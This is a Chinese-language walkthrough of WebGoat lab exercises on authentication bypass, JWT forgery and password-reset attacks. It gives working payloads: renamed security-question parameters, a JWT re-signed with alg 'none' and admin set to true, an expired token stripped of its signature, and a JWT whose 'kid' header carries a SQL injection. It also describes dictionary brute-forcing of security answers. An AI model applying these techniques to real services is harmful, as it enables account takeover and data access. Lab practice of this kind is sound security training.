一、Authentication Bypasses
1.2FA Password Reset
按照提示设置代理抓包
发现直接删问题的参数传递是不太行,观察一下参数的名字,参数是有编号的,改一下编号提交
secQuestion0=1&secQuestion1=1
payload
secQuestion01=1&secQuestion11=1&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
2.JWT signing
这个题目让我们重置票数,我们随便换个用户然后打开代理点击那个垃圾桶标志表示删票数
看到jwt,将前两段分别拿去base64解码注意补齐等号,因为jwt拼接不带等号需要自己补齐
access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2NjI1Mzg5NDEsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.6f-un1VKnq9pu-PyHvYPWfp7X4LSLuIS5viSf8TzpjCPjUNG74CdAxwGYjXFj8ql2jHcI9X9AjjltIh2DvJszg;
这个是用HS512加密的,我们直接将HS512改成none ,表示不加密,然后用base64进行编码
eyJhbGciOiJub25lIn0
第二段需要手动补齐等号,将false改为true,然后继续base64编码
eyJpYXQiOjE2NjI1Mzg5NDEsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ
因为没有加密所以第三段是不需要的(注意第二段后面有一个点)
3.JWT cracking
题目给了一个jwt-token 需要我们爆破出秘钥,然后更改里面的内容,再次进行加密。
但是我的字典不够强大没爆破出来
4.Refreshing a token
题目给了一个tom过期的jwt需要我们使用这个来进行购买东西。
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q
抓包进行修改,第二段这里有有效期的验证 提交两段第三段去掉
5.Final challenges
eyJ0eXAiOiJKV1QiLCJraWQiOiJoYWNrZWQnIFVOSU9OIHNlbGVjdCAnWkdWc1pYUmwnIGZyb20gSU5GT1JNQVRJT05fU0NIRU1BLlNZU1RFTV9VU0VSUyAtLSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE2NjE3MzQxMDIsImV4cCI6MTY5MzI3MDEwMiwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8
二、Password reset
1.Email functionality with WebWolf
根据提示在找回密码的界面发送邮件,查看邮件,密码是用户名倒转
2.Security questions
看到界面只需要我们输入名字和回答问题就可以获得密码,问题是有关颜色的,我们直接生成一个颜色的字典和一个用户名的字典进行爆破
四、Secure Passwords
1.How long could it take to brute force your password?
设置一个强大的密码